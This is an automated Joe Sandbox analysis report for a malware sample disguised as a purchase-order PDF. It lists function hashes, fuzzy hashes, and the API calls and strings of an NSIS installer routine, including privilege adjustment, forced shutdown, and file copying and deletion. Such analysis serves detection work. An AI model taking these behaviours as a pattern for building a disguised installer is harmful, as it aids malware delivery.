Opcode ID: f39a6bfca563e877d05bbfffad7af47a2162f6129e13997e4aea51325d70dffe
Instruction ID: b587b941de301d41ee19567879a6de0501a4792a4c1f200ba58f30799095da5b
Opcode Fuzzy Hash: f39a6bfca563e877d05bbfffad7af47a2162f6129e13997e4aea51325d70dffe
Instruction Fuzzy Hash: CB016832708144AFCB028E649C21AEF3FB6DFC9340B28802AF914CB281CB758D469B90

Function 3593E7F4 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0326d0f52443ef9c82f30d13e1a4efcdf5f57f65c0c97e834066987473899ee9
Instruction ID: f9585895c42411a6597b9b363566cea6e8b09b47b087eaa0bd0e7044138e790e
Opcode Fuzzy Hash: 0326d0f52443ef9c82f30d13e1a4efcdf5f57f65c0c97e834066987473899ee9
Instruction Fuzzy Hash: 0B0157307406018FD314DF6ED691D1AB7FAEF89744305856AE00ACB731EB30EC869B81

Function 0015B2F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5372e4a7dcb6b7d126a52fc9222f9def74b6ea2325da711ac4e92b12fd0827e
Instruction ID: 47bbd928a5da64a328c86460f2bf4a0cb851ec041d4120484849460508236892
Opcode Fuzzy Hash: f5372e4a7dcb6b7d126a52fc9222f9def74b6ea2325da711ac4e92b12fd0827e
Instruction Fuzzy Hash: 8E018136B043118FDB14AF79889862E76EBBFC86697148579D90DDB220FF70CC458692

Function 0015FFB0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfea90c7a4e4efb213215a80dcdf6404a7b9ec5fd912b2b6c1104d19b09a5470
Instruction ID: 10e5f36117910e2fd7751865c541dfac6546246db889253af185b43a3a514a2b
Opcode Fuzzy Hash: bfea90c7a4e4efb213215a80dcdf6404a7b9ec5fd912b2b6c1104d19b09a5470
Instruction Fuzzy Hash: DFE08C9BA5E2C4CFD7238A3054AC2D27F21462731AB1D54DFD8449F593C2460C5ED702

Function 0015FC3E Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dad5712c74611a75010ea4f700c97705f1b121d21a8fb603e91e1d118ae1319
Instruction ID: 00abe1e42a9a72c7774b4243a02ba9ede718d0370c8a7eda774fad39914fca80
Opcode Fuzzy Hash: 9dad5712c74611a75010ea4f700c97705f1b121d21a8fb603e91e1d118ae1319
Instruction Fuzzy Hash: E401A930801248DFDB049FA0CA487E8BBB2EF8A301F405478EA01BB290CB36599ADB50

Function 359395E8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccfe75aeadfe84f48b1a60897de9306a80412579f68dfff8c581d23e88dd737
Instruction ID: 6cf8fd0c4f8e714890c0c18eb4bc52387b90a471e82cef201df777af4dd8637b
Opcode Fuzzy Hash: 4ccfe75aeadfe84f48b1a60897de9306a80412579f68dfff8c581d23e88dd737
Instruction Fuzzy Hash: A4F0C831F08618DFDB109F68C941BAFBBB6FB84350F00452AD50997651DB74B849CBD1

Function 3593CE60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c3781f4d3e9cb884ac1a7be8d2a3d3954d15061f0b22fd1009da82e526c92e0
Instruction ID: d1a5898f4ff440dd7f9693964370308f5138b3dafc57adfec249cb971f79994c
Opcode Fuzzy Hash: 6c3781f4d3e9cb884ac1a7be8d2a3d3954d15061f0b22fd1009da82e526c92e0
Instruction Fuzzy Hash: 1EF03734E02608CFDB04DFB9D8496EDB7B5FF8A301F50A429C405B3251DB3AA915CB50

Function 35939608 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 378213b0078130b560123b83bf229c1c7a9bc08dda7bb6735f39398d0baa36b7
Instruction ID: d2fb2ba01c99504288d18175f050fdc826dafc0b4bee13f819e34b148c720d61
Opcode Fuzzy Hash: 378213b0078130b560123b83bf229c1c7a9bc08dda7bb6735f39398d0baa36b7
Instruction Fuzzy Hash: 78F0EC2038130057D204666D55A5A7F67AEEFC13D1B014835F505D7258DEA8DC4653F1

Function 0015B158 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db20e7cfd46af9907b337b54c523f4d2a9c61ef38734663d913b7373d14e671c
Instruction ID: bebc5d2c67d3e1dd24a71e261f412f8586300cab34c92592ff56c9648d304bfc
Opcode Fuzzy Hash: db20e7cfd46af9907b337b54c523f4d2a9c61ef38734663d913b7373d14e671c
Instruction Fuzzy Hash: 29F09835459F429FE3026B30ACBC2AA7FB0FF0B3137856D95E05AC6472DB694449CB11

Function 0015FE12 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f785ba607c8635156affecbe078cbc261826caf825d01155bb900bf574b254c3
Instruction ID: 0520cc155859796ae9a9f75a9a8d6a3232b6f53a4e36163e0800545727aaf0c8
Opcode Fuzzy Hash: f785ba607c8635156affecbe078cbc261826caf825d01155bb900bf574b254c3
Instruction Fuzzy Hash: F4F08C74D0A204DFC715EFB8D64829CBFB1EF09305F2080EAD854A7661EB368E49DB00

Function 00151877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0b9a0f58d735f73ed5f4242bd07800d82b1bb4c27d766e4360b907948373b7
Instruction ID: 15f2a88ddd55e8cd0bf8559abc0de7b5d388cc95968d03ca6dd4ad53326cc796
Opcode Fuzzy Hash: cf0b9a0f58d735f73ed5f4242bd07800d82b1bb4c27d766e4360b907948373b7
Instruction Fuzzy Hash: 8CE0D831D153D64EC7139BB098044DDBF30ED93210B4542E7D054BB052EB30194DC771

Function 0015FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c6253c4e438e8d4d0968ce2ca30920633088720fb6d8ae0205cfc7b3df26a31
Instruction ID: 535189210ccedcb28aaa89f0984e92e13901f7bb6252ae7d6cfb6979062ddd04
Opcode Fuzzy Hash: 7c6253c4e438e8d4d0968ce2ca30920633088720fb6d8ae0205cfc7b3df26a31
Instruction Fuzzy Hash: 98E09234D05208DFC704DFB8D50969CBBF5EB48301F6084B9D818A3350E7309E45CB40

Function 00151888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9768c843c6cf7b719e27ae9abf7289aa815758d372dbcb51443f0708865070a1
Instruction ID: 2d6707e3fd42b7d1f3103e89c27e73df1d19edefd0e9b4ef59037cf632b731a8
Opcode Fuzzy Hash: 9768c843c6cf7b719e27ae9abf7289aa815758d372dbcb51443f0708865070a1
Instruction Fuzzy Hash: 67D05B31D2022B97CB11E7A5DC044DFF738EED5265B504626D51837140FB703659C6E1

Function 3593BDA9 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c07139fc1237fea28aca0cd4628df3a68e64e7d7daf28281a89f7540b74aa8e
Instruction ID: 2f4840816c5c059c847a51bc8b7a61b85ad44f246092a5182fdacb2c4164fa09
Opcode Fuzzy Hash: 0c07139fc1237fea28aca0cd4628df3a68e64e7d7daf28281a89f7540b74aa8e
Instruction Fuzzy Hash: 60D06C74026E02DFE2002B60ACAC2BA7B74FB0B327BC02D00A10E920318B7C4454CA40

Function 001556FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0598838d07a28689d298c414aecefe40d2a0d182b5d0a996b11a26353ed5dd42
Instruction ID: 065c2b9a4465eddba0c9a26abe32272329f49a7e2c3d50a313e3d9e392feee22
Opcode Fuzzy Hash: 0598838d07a28689d298c414aecefe40d2a0d182b5d0a996b11a26353ed5dd42
Instruction Fuzzy Hash: 27E0863504C3484ECB16A730ED946C93B7A9F41204F104565D40A0B96ADB780A4AAB11

Function 00157EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 9968b1f7b0fc0b7bf7e049fa17098cae9ca96013ffba795bad1e7fd54a298b3b
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: F4C0123310C1286A9224504E7C469A3A74CC2C13B5A210177F93D8724054425C4411B4

Function 0015FF22 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dca1a7c2e1a9f19f12ffc5082b6535219c52adc99dcce7a7105201160b5bb0d
Instruction ID: 03a833aa049696f79bb6749a4ba29ba89aae5f608410ad14f6962765005e125f
Opcode Fuzzy Hash: 7dca1a7c2e1a9f19f12ffc5082b6535219c52adc99dcce7a7105201160b5bb0d
Instruction Fuzzy Hash: EAD02B31C4A345CFC3429F60D5086D9BB309B07302F0440CAD80893552D7710E18D701

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 104a8d12bab6922f0b06b0bdd3159ca3da732b26aedc0d477d9b2cf00701b58b
Instruction ID: d4d2c4ce82f1c48cea51201760d006d7873f500c2e83bbf84c5db421ef7520c5
Opcode Fuzzy Hash: 104a8d12bab6922f0b06b0bdd3159ca3da732b26aedc0d477d9b2cf00701b58b
Instruction Fuzzy Hash: 28D0673AB400189FCB149F98EC809DDFB76FB98221B148116E915A3261C7319965DB60

Function 359395D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cba54651166da191b93a5428ea6af568138f2cb522416f4af90ddd5de1abcbc9
Instruction ID: 6f38fc7459f3dc080ccfac797bbe471e984e17f3834a451d6efa623da87f888b
Opcode Fuzzy Hash: cba54651166da191b93a5428ea6af568138f2cb522416f4af90ddd5de1abcbc9
Instruction Fuzzy Hash: 07C01232246A10479628A21CB59189E576DCEC57517518D77A004C21184D54994F8185

Function 3593D095 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e52a03519935f5aa4ed14b2d46bf2ebaa81b572b9a107e37b19fabb1782e43
Instruction ID: b9550046fcc11e02f7ab29c67697bef4286692e6bd6e425529fa88c5a0ab0307
Opcode Fuzzy Hash: c9e52a03519935f5aa4ed14b2d46bf2ebaa81b572b9a107e37b19fabb1782e43
Instruction Fuzzy Hash: CDD0A72221E6E00FCB07C33D786089CBF715CC61243494AF6D098CB6F7DA456A4EC38A

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ec0e08a59e0a508150c3477bbf1027e20696a109e6739e5f63053116e28e957
Instruction ID: 73d14ec67b975014431165cd8f91b1ab234f217189b0aa5fe4d09f639e3b8858
Opcode Fuzzy Hash: 5ec0e08a59e0a508150c3477bbf1027e20696a109e6739e5f63053116e28e957
Instruction Fuzzy Hash: 5CD0223080220CDFC300DFA4D809BEAB77CE703303F4000ACA80863250CBB14D10C784

Function 3593BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6afd1b333b3a1d3973c26b8cb47af2151424e0c3b8a8e24dd30796f133aa08fb
Instruction ID: 2f9a8792f87d913af7b12a5130d7907993cad4a3785a189ab7a1236ebd7050a2
Opcode Fuzzy Hash: 6afd1b333b3a1d3973c26b8cb47af2151424e0c3b8a8e24dd30796f133aa08fb
Instruction Fuzzy Hash: E1C08CB4016E098BE2042F50BC0CB79B7B9B707313FC82D10E00E02831CBBC8424C644

Function 359394B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7552341feae387ce8103529ea3e1208335b02209488d2a54fb66c404ddc04e72
Instruction ID: be2be6251b6c2a58fdbfd013af15657506d659260161bde1976bb78119e46636
Opcode Fuzzy Hash: 7552341feae387ce8103529ea3e1208335b02209488d2a54fb66c404ddc04e72
Instruction Fuzzy Hash: 32C08C303A8604CFE200AA1EC984A1233ACEF85B04F0058E0F1088B639CA62FC008604

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a755af9d0d7de776740f0903d9955a53f85d68fc094348233f5262856f828b1d
Instruction ID: b5e9a27bae6c412dc22cfa7225768ecc0d8f27443587c28c1fc85dd2af56e402
Opcode Fuzzy Hash: a755af9d0d7de776740f0903d9955a53f85d68fc094348233f5262856f828b1d
Instruction Fuzzy Hash: F4C0123004430C4EC649FB65EE85A55777EEF802047508520A00A0797EEFBC5D8AAA90

Non-executed Functions

Function 004032A0 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,0043F000,00000000), ref: 00403363
CharNextW.USER32(00000000,0043F000,00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,00441800), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(00441800,000003FB), ref: 004034D6
lstrcatW.KERNEL32(00441800,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp), ref: 004034F6
lstrcatW.KERNEL32(00441800,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,00441800), ref: 00403517
DeleteFileW.KERNEL32(00441000), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,?), ref: 0040362B
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,?), ref: 0040363A
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,?), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

UXTHEME, xrefs: 004032E7
Low, xrefs: 004034F8
NSIS Error, xrefs: 00403341
~nsu, xrefs: 00403623
TMP, xrefs: 00403512
Error launching installer, xrefs: 004035AD
TEMP, xrefs: 0040350A
\Temp, xrefs: 004034DC
SETUPAPI, xrefs: 004032FB
USERENV, xrefs: 004032F1
SeShutdownPrivilege, xrefs: 0040374D
.tmp, xrefs: 0040363F

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: .tmp$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3972089011
Opcode ID: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,?), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

M, xrefs: 00404CDA
, xrefs: 004050E9
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00405846 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,75923420,00441800,0043F000), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,75923420,00441800,0043F000), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,75923420,00441800,0043F000), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,75923420,00441800,0043F000), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,75923420,00441800,0043F000), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
